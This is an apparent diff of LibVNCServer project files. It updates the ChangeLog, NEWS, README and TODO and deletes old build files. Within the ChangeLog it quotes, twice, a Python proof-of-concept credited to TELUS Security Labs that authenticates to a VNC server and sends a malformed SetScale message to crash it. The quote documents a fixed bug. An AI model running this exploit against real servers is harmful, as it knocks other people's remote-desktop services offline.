https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=672449 + +2016-06-05 Christian Beier <dontmind@freeshell.org> + + * NEWS: Update NEWS. + +2016-06-05 Christian Beier <dontmind@freeshell.org> + + * rfb/rfbclient.h: Fix rfbClientSwap64IfLE broken in + fe7df89fb1777b4fd303d5a601541f6062caf8ea + +2016-06-05 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #84 from plettix/master fix for issue 81 + +2016-05-30 Christian Beier <cb@shoutrlabs.com> + + * CMakeLists.txt: CMake: Add maybe-found OpenSSL libs to + libvncclient. + +2016-05-30 Christian Beier <cb@shoutrlabs.com> + + * CMakeLists.txt: CMake: Not all platforms have endian.h, so use the + build system's endianess check. + +2016-05-30 Christian Beier <cb@shoutrlabs.com> + + * rfb/rfbproto.h: Only include endian.h if present on system. + +2016-05-30 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #105 from cgeorges82/master fix for issue #97. Also, this fixes cmake builds for other + platforms. + +2016-05-13 George Fleury <gfleury@gmail.com> + + * libvncserver/sockets.c: Avoid calling SSL_pending when connection + is already closed Avoid calling SSL_pending when connection is already closed, calling + SSL_pending with connection already closed is crashing. To + reproduce, open a secure websocket binay protocol connection with + libvncserver compiled with OpenSSL, and when libvncserver is waiting + for rfbProcessClientProtocolVersion send any invalid char, it will + fail and call rfbCloseClient whith destroy all SSL context, calling + SSL_pending after that will generate a invalid access. + +2016-04-24 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #103 from rdieter/master use namespaced vnc_max macro (issue #102) + +2016-04-23 gbdj <gbdj@users.noreply.github.com> + + * libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: libvncclient/tls_gnutls.c: Add hooks to + WriteToTLS() for optional protection by mutex. Fix upstream issue + #100 Squashed commit of the pull request #101 : commit + 1c7e01e81862bc46508e675e83c74cc6d63224b0 commit + 1e749b094d6696380d3f0540a00138d7e3427874 + +2016-02-18 Rex Dieter <rdieter@math.unl.edu> + + * libvncclient/listen.c, libvncserver/httpd.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfbproto.h: + use namespaced rfbMax macro (issue #102) Not using generic 'max', avoids conflicts with stl_algobase.h + +2016-04-15 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #115 from solofox/master Enable AF_UNIX socket: ignore setsockopt TCP_NODELAY failure. + +2016-04-13 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #114 from zbierak/master Increase MAX_ENCODINGS value to accommodate more client encodings + +2016-04-12 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #110 from AlexejStukov/patch-1 break statement out of case + +2016-04-12 zbierak <zbierak@users.noreply.github.com> + + * libvncclient/rfbproto.c: Fix buffer overflow when applying client + encodings + +2016-04-12 Christian Beier <cb@shoutrlabs.com> + + * travis.yml: TravisCI: remove old config. + +2016-04-12 Christian Beier <cb@shoutrlabs.com> + + * .travis.yml: TravisCI: add autoreconf step. + +2016-04-12 Christian Beier <cb@shoutrlabs.com> + + * .travis.yml: TravisCI: the config starts with a dot! + +2016-04-12 Christian Beier <cb@shoutrlabs.com> + + * README, README.md: Add a README.md and and Travis CI status badge. + +2016-04-12 Christian Beier <cb@shoutrlabs.com> + + * travis.yml: Add a minimalistic config for Travis CI. + +2016-04-08 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #109 from zbierak/master Fix memory access error in camera.c example + +2016-04-04 zbierak <zbierak@users.noreply.github.com> + + * examples/camera.c: Fix memory access error in camera.c example + +2016-03-05 Cédric Georges <cgeorges@edge-airport.com> + + * CMakeLists.txt, libvncclient/tls_gnutls.c: Append missing include + directory for GNUTLS and OPENSSL in CMake project Append support of + gnutls > v 2.99.01 (gnutls_transport_set_global_errno have a + different signature) + +2016-03-05 Cédric Georges <cgeorges@edge-airport.com> + + * CMakeLists.txt: re-up comment + +2016-03-05 Cédric Georges <cgeorges@edge-airport.com> + + * CMakeLists.txt, rfb/rfbconfig.h.cmake: Append IPv6 option in CMake + Project + +2016-01-27 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #99 from spaceone/master Ignore null pointers in FillRectangle() and + CopyRectangleFromRectangle() + +2016-01-27 SpaceOne <space@wechall.net> + + * libvncclient/rfbproto.c: Ignore null pointers in FillRectangle() + and CopyRectangleFromRectangle() + +2015-12-03 Christian Beier <cb@shoutrlabs.com> + + * rfb/rfbclient.h: Be a bit clearer with the cursorshape + documentation for libvncclient. + +2015-12-03 Christian Beier <cb@shoutrlabs.com> + + * libvncclient/cursor.c, rfb/rfbclient.h: Properly document + HandleCursorShape and GotCursorShapeProc. + +2015-10-10 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #90 from stweil/fix Fix some recently introduced regressions + +2015-10-10 Stefan Weil <sw@weilnetz.de> + + * rfb/rfbproto.h: Fix definition of POSIX data types Commit 92f558482d94c5152174a1983a40863bd6b07911 added stdint.h to + get the type definitions, but included it after the first use of + int8_t in builds for Windows. Signed-off-by: Stefan Weil <sw@weilnetz.de> + +2015-10-10 Stefan Weil <sw@weilnetz.de> + + * rfb/rfbproto.h: Fix endianness detection Commit 97f442ef2aa65ade6bea11e90054c57b90abbaca tried to improve the + endianness detection, but introduced a typo and problems for Windows + builds (no endian.h, different definition of + LIBVNCSERVER_WORDS_BIGENDIAN). Fix both issues. Signed-off-by: Stefan Weil <sw@weilnetz.de> + +2015-10-09 Stefan Weil <sw@weilnetz.de> + + * ChangeLog, Doxyfile, NEWS, README, client_examples/vnc2mpg.c, + common/zywrletemplate.c, examples/camera.c, libvncclient/listen.c, + libvncclient/sockets.c, libvncserver/cargs.c, libvncserver/scale.c, + libvncserver/sockets.c, libvncserver/tight.c, + libvncserver/tightvnc-filetransfer/filetransfermsg.c, + libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, + libvncserver/tightvnc-filetransfer/rfbtightproto.h, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, + libvncserver/ultra.c, libvncserver/zlib.c, rfb/keysym.h, rfb/rfb.h, + rfb/rfbproto.h, webclients/java-applet/ssl/README, + webclients/java-applet/ssl/proxy.vnc, + webclients/java-applet/ssl/ss_vncviewer, + webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + webclients/novnc/include/display.js, + webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js: Fix + some typos (found by codespell) Signed-off-by: Stefan Weil <sw@weilnetz.de> + +2015-07-22 plettix <plettix@gmail.com> + + * common/md5.c: another shift fix + +2015-07-22 plettix <plettix@gmail.com> + + * rfb/rfb.h, rfb/rfbclient.h: shift fixes - if an integer is a + negative number then the return value of "Swap32IfLE" was -1 + +2015-07-07 plettix <plettix@gmail.com> + + * libvncserver/websockets.c: fix for issue 81 use different buffers + for decode and encode + +2015-05-28 Christian Beier <dontmind@freeshell.org> + + * CMakeLists.txt, configure.ac, rfb/rfbproto.h: Instead of letting + the build system define endianess, rely on endian.h. + +2015-05-28 Christian Beier <dontmind@freeshell.org> + + * .gitignore, CMakeLists.txt, Doxyfile, Makefile.am, configure.ac, + libvncserver/Makefile.am, m4/ax_create_stdint_h.m4, rfb/rfbproto.h: + Do away with rfbint.h generation and use stdint.h directly instead. + +2015-04-17 Christian Beier <dontmind@freeshell.org> + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Re-add the + useful bits of 9aa9ac59b4cb10bfca93456a3098e348de172d7f. + +2015-04-17 Christian Beier <dontmind@freeshell.org> + + * libvncclient/Makefile.am: Revert "Add libvncclient/h264.c to dist + tarball." This reverts commit 9aa9ac59b4cb10bfca93456a3098e348de172d7f. + +2015-04-17 Christian Beier <dontmind@freeshell.org> + + * client_examples/gtkvncviewer.c, configure.ac, + libvncclient/Makefile.am, libvncclient/h264.c, + libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbproto.h: + Revert "LibVNCClient: Add H.264 encoding for framebuffer updates" This reverts commit d891478ec985660c03f95cffda0e6a1ad4ba350c. Conflicts: configure.ac libvncclient/h264.c + +2015-04-17 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #70 from maxnet/master httpd: disallow directory traversal + +2015-04-17 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #72 from lopago/fix-segfaults prevent segfaults due to uninitialized memory + +2015-04-15 Thomas Anderson <tanderson@caltech.edu> + + * configure.ac: configure.ac: Use AC_CHECK_TOOL for cross-compiling + support. When cross-compiling the ar program has the appropriate prefix + prepended. Respect that here and have autotools autodetect the + appropriate tool. + +2015-04-13 Benjamin Dürholt <b.duerholt@portunity.de> + + * libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: Changed C++ + style comments to C ones + +2015-04-10 Benjamin Dürholt <b.duerholt@portunity.de> + + * libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: prevent + segfault + +2015-03-29 Floris Bos <bos@je-eigen-domein.nl> + + * libvncserver/httpd.c: httpd: disallow directory traversal Signed-off-by: Floris Bos <bos@je-eigen-domein.nl> + +2015-03-27 Jay Carlson <nop@nop.com> + + * libvncclient/rfbproto.c: Avoid divide-by-zero in raw encoding (OSX + RealVNC) OS X RealVNC server crashes out Remmina because the server can + provoke bytesPerLine to be zero. Assume this is coding for zero + lines. The condition could be checked before the calculation of + bytesPerLine. I don’t understand the preconditions of this code + to say one way or the other. + +2015-02-09 Peter Spiess-Knafl <psk@autistici.org> + + * libvncclient/Makefile.am, libvncserver/Makefile.am: Set autotools + SOVERSION. + +2015-02-05 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #63 from LibVNC/sha1rework Replace SHA1 implementation with the one from RFC 6234. + +2015-01-27 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #60 from cinemast/master fixing SOVERSION and .so VERSION + +2015-01-18 Christian Beier <dontmind@freeshell.org> + + * webclients/index.vnc: Update link to project home page in + index.vnc. + +2015-01-18 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #57 from maxnet/master Fix handling of multiple VNC commands per websockets frame + +2015-01-16 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #56 from maxnet/master Only advertise xvp support when xvpHook is set + +2015-01-06 Christian Beier <dontmind@freeshell.org> + + * AUTHORS: Add Floris to AUTHORS. + +2015-01-06 Christian Beier <dontmind@freeshell.org> + + * NEWS: Update NEWS. + +2015-01-02 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #51 from maxnet/master Initialize libgcrypt before use + +2015-01-02 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #50 from maxnet/master tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality + +2014-12-30 Christian Beier <dontmind@freeshell.org> + + * libvncclient/sockets.c: Fix another MinGW64 build issue. + WSAEWOULDBLOCK is not MinGW-specific. + +2014-12-30 Christian Beier <dontmind@freeshell.org> + + * libvncserver/rfbserver.c: Fix building with mingw-w64. + +2014-12-30 Christian Beier <dontmind@freeshell.org> + + * configure.ac: confgure.ac: Remove MinGW linker flag that's + incompatible with mingw-w64. + +2014-12-30 Christian Beier <dontmind@freeshell.org> + + * autogen.sh: autogen.sh: pass cmdline params to configure call. + +2014-12-29 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #49 from maxnet/master Fix libva related compile errors + +2014-12-29 Floris Bos <bos@je-eigen-domein.nl> + + * configure.ac, libvncclient/h264.c: Fix libva related compile + errors - Make h264.c compile with recent libva version by including + va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when + --with-libva was specified, while actual behavior is to build it + by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server + Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos <bos@je-eigen-domein.nl> + +2014-10-31 Christian Beier <dontmind@freeshell.org> + + * README: Add VNCpp to projects using LibVNC. + +2014-10-21 Christian Beier <dontmind@freeshell.org> + + * ChangeLog: Update ChangeLog for 0.9.10. + 2014-10-21 Christian Beier <dontmind@freeshell.org> * NEWS: Update NEWS. @@ -37,7 +482,7 @@ (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> - [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- + [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- 2014-10-14 dscho <johannes.schindelin@gmx.de> @@ -1361,7 +1806,7 @@ * libvncserver/Makefile.am: Fix build error when libpng is available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses - libjpeg features. We could probably separate that, but for now the + libjpeg features. We could probably seperate that, but for now the dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around. 2011-12-01 Christian Beier <dontmind@freeshell.org> @@ -1527,10 +1972,10 @@ 2011-10-16 George Fleury <gfleury@gmail.com> * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not - been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didn't look the whole libvncserver api, but i am using + been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using rfbReverseConnection with rfbProcessEvents, and then when the client connection dies, i am calling a rfbShutdownServer and - rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isn't been + rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been freed. So to free the stats i added a rfbResetStats(cl) after rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before free the cl pointer. (at rfbserver.c line 555). And this, obviously, @@ -1685,7 +2130,7 @@ 2011-08-25 Gernot Tenchio <gernot@tenchio.de> * libvncserver/websockets.c: websockets: added gcrypt based sha1 - digest function + digest funtion 2011-08-25 Joel Martin <jmartin@sentryds.com> @@ -1901,7 +2346,7 @@ 2010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com> - * libvncserver/tight.c: Fix memory corruption bug. This bug occurred when a second telepathy tubes client was connected + * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected after the first one had disconnected and the channel (thus, the screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> @@ -2070,7 +2515,7 @@ common/minilzo.h, libvncclient/Makefile.am, libvncserver/Makefile.am: Update minilzo library used for Ultra encoding to ver 2.04. According to the minilzo README, this brings a significant speedup - on 64-bit architectures. Changes compared to old version 1.08 can be found here: + on 64-bit architechtures. Changes compared to old version 1.08 can be found here: http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org> 2011-01-24 Christian Beier <dontmind@freeshell.org> @@ -3209,7 +3654,7 @@ x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add - progress_client() to proceed more quickly through handshake. + progress_client() to proceed more quickly thru handshake. Improvements to turbovnc hack. 2009-03-07 dscho <dscho> @@ -5601,7 +6046,7 @@ x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, - x11vnc/x11vnc_defs.c: SSL Java viewer work through proxy. -sslGenCA, etc key/cert + x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert management utils for x11vnc. FBPM "support". 2006-03-28 dscho <dscho> @@ -6760,7 +7205,7 @@ * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c, libvncclient/vncviewer.c: use rfbClientErr to log errors, check if - calloc succeeded (both hinted by Andre Leiradella) + calloc succeded (both hinted by Andre Leiradella) 2004-11-30 dscho <dscho> @@ -7442,7 +7887,7 @@ 2003-08-03 dscho <dscho> * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to - LIBVNCSERVER_BIGENDIAN; #undef VERSION unnecessary... + LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary... 2003-08-02 dscho <dscho> @@ -8285,7 +8730,7 @@ 2001-10-15 dscho <dscho> - * .gdb_history: unnecessary file + * .gdb_history: unneccessary file 2001-10-13 dscho <dscho> @@ -8536,7 +8981,7 @@ 2001-09-25 dscho <dscho> - * .depend: rmoved unnecessary files + * .depend: rmoved unneccessary files 2001-09-25 dscho <dscho> diff --git a/LibVNCServer.spec.in b/LibVNCServer.spec.in deleted file mode 100755 index 13fe351..0000000 --- a/LibVNCServer.spec.in +++ /dev/null @@ -1,97 +0,0 @@ -# Note that this is NOT a relocatable package -Name: @PACKAGE@ -Version: @VERSION@ -Release: 2 -Summary: a library to make writing a vnc server easy -Copyright: GPL -Group: Libraries/Network -Packager: Johannes.Schindelin <Johannes.Schindelin@gmx.de> -Source: %{name}-%{version}.tar.gz -BuildRoot: %{_tmppath}/%{name}-%{version}-buildroot - -%description -LibVNCServer makes writing a VNC server (or more correctly, a program -exporting a framebuffer via the Remote Frame Buffer protocol) easy. - -It is based on OSXvnc, which in turn is based on the original Xvnc by -ORL, later AT&T research labs in UK. - -It hides the programmer from the tedious task of managing clients and -compression schemata. - -LibVNCServer was put together and is (actively ;-) maintained by -Johannes Schindelin <Johannes.Schindelin@gmx.de> - -%package devel -Requires: %{name} = %{version} -Summary: Static Libraries and Header Files for LibVNCServer -Group: Libraries/Network -Requires: %{name} = %{version} - -%description devel -Static Libraries and Header Files for LibVNCServer. - -%package x11vnc -Requires: %{name} = %{version} -Summary: VNC server for the current X11 session -Group: User Interface/X -Requires: %{name} = %{version} - -%description x11vnc -x11vnc is to X Window System what WinVNC is to Windows, i.e. a server -which serves the current X Window System desktop via RFB (VNC) -protocol to the user. - -Based on the ideas of x0rfbserver and on LibVNCServer, it has evolved -into a versatile and performant while still easy to use program. - -%prep -%setup -n %{name}-%{version} - -%build -# CFLAGS="$RPM_OPT_FLAGS" ./configure --prefix=%{_prefix} -%configure -make - -%install -[ -n "%{buildroot}" -a "%{buildroot}" != / ] && rm -rf %{buildroot} -# make install prefix=%{buildroot}%{_prefix} -%makeinstall includedir="%{buildroot}%{_includedir}/rfb" - -%{__install} -d -m0755 %{buildroot}%{_datadir}/x11vnc/classes -%{__install} webclients/VncViewer.jar webclients/index.vnc \ - %{buildroot}%{_datadir}/x11vnc/classes - -%clean -[ -n "%{buildroot}" -a "%{buildroot}" != / ] && rm -rf %{buildroot} - -%pre -%post -%preun -%postun - -%files -%defattr(-,root,root) -%doc README INSTALL AUTHORS ChangeLog NEWS TODO -%{_bindir}/LinuxVNC -%{_bindir}/libvncserver-config -%{_libdir}/libvncclient.* -%{_libdir}/libvncserver.* - -%files devel -%defattr(-,root,root) -%{_includedir}/rfb/* - -%files x11vnc -%defattr(-,root,root) -%{_bindir}/x11vnc -%{_mandir}/man1/x11vnc.1* -%{_datadir}/x11vnc/classes - -%changelog -* Fri Aug 19 2005 Alberto Lusiani <alusiani@gmail.com> release 2 -- create separate package for x11vnc to prevent conflicts with x11vnc rpm -- create devel package, needed to compile but not needed for running -* Sun Feb 9 2003 Johannes Schindelin -- created libvncserver.spec.in - diff --git a/Makefile.am b/Makefile.am deleted file mode 100644 index a7bc64d..0000000 --- a/Makefile.am +++ /dev/null @@ -1,28 +0,0 @@ -ACLOCAL_AMFLAGS = -I m4 - -SUBDIRS=libvncserver examples libvncclient webclients client_examples test -DIST_SUBDIRS=libvncserver examples libvncclient webclients client_examples test -EXTRA_DIST = CMakeLists.txt rfb/rfbconfig.h.cmake - -bin_SCRIPTS = libvncserver-config - -pkgconfigdir = $(libdir)/pkgconfig -pkgconfig_DATA = libvncserver.pc libvncclient.pc - -includedir=$(prefix)/include/rfb - -include_HEADERS=rfb/rfb.h rfb/rfbconfig.h rfb/rfbproto.h \ - rfb/keysym.h rfb/rfbregion.h rfb/rfbclient.h - -$(PACKAGE)-$(VERSION).tar.gz: dist - -if HAVE_RPM -# Rule to build RPM distribution package -rpm: $(PACKAGE)-$(VERSION).tar.gz $(PACKAGE).spec - cp $(PACKAGE)-$(VERSION).tar.gz @RPMSOURCEDIR@ - rpmbuild -ba $(PACKAGE).spec -endif - -t: - $(MAKE) -C test test - @@ -1,11 +1,27 @@ 0.9.11 + - Overall changes: + * LibVNCServer/LibVNCClient development now uses continous intregration, + provided by TravisCI. + - LibVNCClient: * Now initializes libgcrypt before use if the application did not do it. Fixes a crash when connection to Mac hosts (https://github.com/LibVNC/libvncserver/issues/45). + * Various fixes that result in more stable handling of malicious or broken + servers. + * Removed broken and unmaintained H264 decoding. + * Some documentation fixes. + * Added hooks to WriteToTLS() for optional protection by mutex. - LibVNCServer: * Stability fixes for the WebSocket implementation. + * Replaced SHA1 implementation with the one from RFC 6234. + * The built-in HTTP server does not allow directory traversals anymore. + * The built-in HTTP now sends correct MIME types for CSS and SVG. + * Added support for systemd socket activation. + * Made it possible to get autoPort behavior with either ipv4 or ipv6 + disabled. + * Fixed starting of an onHold-client in threaded mode. 0.9.10 - Overall changes: @@ -1,4 +1,4 @@ -[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver) +[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver) [![Build status](https://ci.appveyor.com/api/projects/status/fao6m1md3q4g2bwn/branch/master?svg=true)](https://ci.appveyor.com/project/bk138/libvncserver/branch/master) LibVNCServer: A library for easy implementation of a VNC server. Copyright (C) 2001-2003 Johannes E. Schindelin @@ -68,6 +68,19 @@ https://github.com/ocrespo/VNCpp Mail me, if your application is missing! +How to build +------------ + +LibVNCServer uses CMake, so you can build via: + + mkdir build + cd build + cmake .. + cmake --build . + +For some more comprehensive examples that include installation of dependencies, see +the [Unix CI](.travis.yml) and [Windows CI](.appveyor.yml) build setups. + How to use ---------- @@ -118,7 +131,7 @@ drawn the cursor every time an update is sent. LibVNCServer handles all the details. Just set the cursor and don't bother any more. To set the mouse coordinates (or emulate mouse clicks), call - defaultPtrAddEvent(buttonMask,x,y,cl); + rfbDefaultPtrAddEvent(buttonMask,x,y,cl); IMPORTANT: do this at the end of your function, because this actually draws the cursor if no cursor encoding is active. @@ -184,7 +197,7 @@ kbdReleaseAllKeys(rfbClientPtr cl) ptrAddEvent(int buttonMask,int x,int y,rfbClientPtr cl) is called when the mouse moves or a button is pressed. WARNING: if you want to have proper cursor handling, call - defaultPtrAddEvent(buttonMask,x,y,cl) + rfbDefaultPtrAddEvent(buttonMask,x,y,cl) in your own function. This sets the coordinates of the cursor. setXCutText(char* str,int len,rfbClientPtr cl) is called when the selection changes. @@ -248,7 +261,7 @@ the original code from ORL/AT&T. When I began hacking with computers, my first interest was speed. So, when I got around assembler, I programmed the floppy to do much of the work, because -it's clock rate was higher than that of my C64. This was my first experience +its clock rate was higher than that of my C64. This was my first experience with client/server techniques. When I came around Xwindows (much later), I was at once intrigued by the @@ -259,7 +272,7 @@ modem from home, it was no longer that much fun. When I started working with ASP (Application Service Provider) programs, I tumbled across Tarantella and Citrix. Being a security fanatic, the idea of running a server on windows didn't appeal to me, so Citrix went down the -basket. However, Tarantella has it's own problems (security as well as the +basket. However, Tarantella has its own problems (security as well as the high price). But at the same time somebody told me about this "great little administrator's tool" named VNC. Being used to windows programs' sizes, the surprise was reciprocal inverse to the size of VNC! @@ -326,7 +339,7 @@ I am always amazed how people react whenever Microsoft(tm) puts in some features into their products which were around for a long time. Especially reporters seem to not know dick about what they are reporting about! But what is every time annoying again, is that they don't do it right. Every -concept has it's new name (remember what enumerators used to be until +concept has its new name (remember what enumerators used to be until Mickeysoft(tm) claimed that enumerators are what we thought were iterators. Yeah right, enumerators are also containers. They are not separated. Muddy.) @@ -334,11 +347,13 @@ There are three packages you want to get hold of: zlib, jpeg and pthreads. The latter is not strictly necessary, but when you put something like this into your source: +``` #define MUTEX(s) struct { int something; MUTEX(latex); } +``` Microsoft's C++ compiler doesn't do it. It complains that this is an error. This, however, is how I implemented mutexes in case you don't need pthreads, @@ -393,7 +408,7 @@ The people at AT&T worked really well to produce something as clean and lean as VNC. The managers decided that for their fame, they would release the program for free. But not only that! They realized that by releasing also the code for free, VNC would become an evolving little child, conquering -new worlds, making it's parents very proud. As well they can be! To protect +new worlds, making its parents very proud. As well they can be! To protect this innovation, they decided to make it GPL, not BSD. The principal difference is: You can make closed source programs deriving from BSD, not from GPL. You have to give proper credit with both. @@ -1,8 +1,18 @@ -immediate: +high-prio: ---------- - Add sources for the java stuff. - Implement encryption in libvncserver. -- Add a libvncclient-config script. +- Get rid of compat dir +- Fix encodingstest + + +maybe-later: +------------ + +selectbox: scroll bars +authentification schemes (secure vnc) + IO function ptr exists; now explain how to tunnel and implement a + client address restriction scheme. make SDLvncviewer more versatile - test for missing keys (especially "[]{}" with ./examples/mac), @@ -18,12 +28,3 @@ make corre work again (libvncclient or libvncserver?) teach SDLvncviewer about CopyRect... implement "-record" in libvncclient implement QoS for Windows in libvncclient - -later: ------- - -selectbox: scroll bars -authentification schemes (secure vnc) - IO function ptr exists; now explain how to tunnel and implement a - client address restriction scheme. -VisualNaCro testing diff --git a/autogen.sh b/autogen.sh deleted file mode 100755 index 2437158..0000000 --- a/autogen.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/sh - -autoreconf -fiv && -./configure "$@" diff --git a/client_examples/Makefile.am b/client_examples/Makefile.am deleted file mode 100644 index 9cb2c32..0000000 --- a/client_examples/Makefile.am +++ /dev/null @@ -1,38 +0,0 @@ -AM_CPPFLAGS = -I$(top_srcdir) -LDADD = ../libvncclient/libvncclient.la @WSOCKLIB@ - -if WITH_FFMPEG -FFMPEG_HOME=@with_ffmpeg@ - -if HAVE_MP3LAME -MP3LAME_LIB=-lmp3lame -endif - -vnc2mpg_CFLAGS=-I$(FFMPEG_HOME)/libavformat -I$(FFMPEG_HOME)/libavcodec -I$(FFMPEG_HOME)/libavutil -vnc2mpg_LDADD=$(LDADD) $(FFMPEG_HOME)/libavformat/libavformat.a $(FFMPEG_HOME)/libavcodec/libavcodec.a $(MP3LAME_LIB) -lm - -FFMPEG_CLIENT=vnc2mpg -endif - -if HAVE_LIBSDL -SDLVIEWER=SDLvncviewer - -SDLvncviewer_CFLAGS=$(SDL_CFLAGS) -SDLvncviewer_SOURCES=SDLvncviewer.c scrap.c scrap.h - -# thanks to autoconf, this looks ugly -SDLvncviewer_LDADD=$(LDADD) $(SDL_LIBS) -endif - -if HAVE_LIBGTK -GTKVIEWER=gtkvncviewer -gtkvncviewer_SOURCES=gtkvncviewer.c -gtkvncviewer_CFLAGS=$(GTK_CFLAGS) 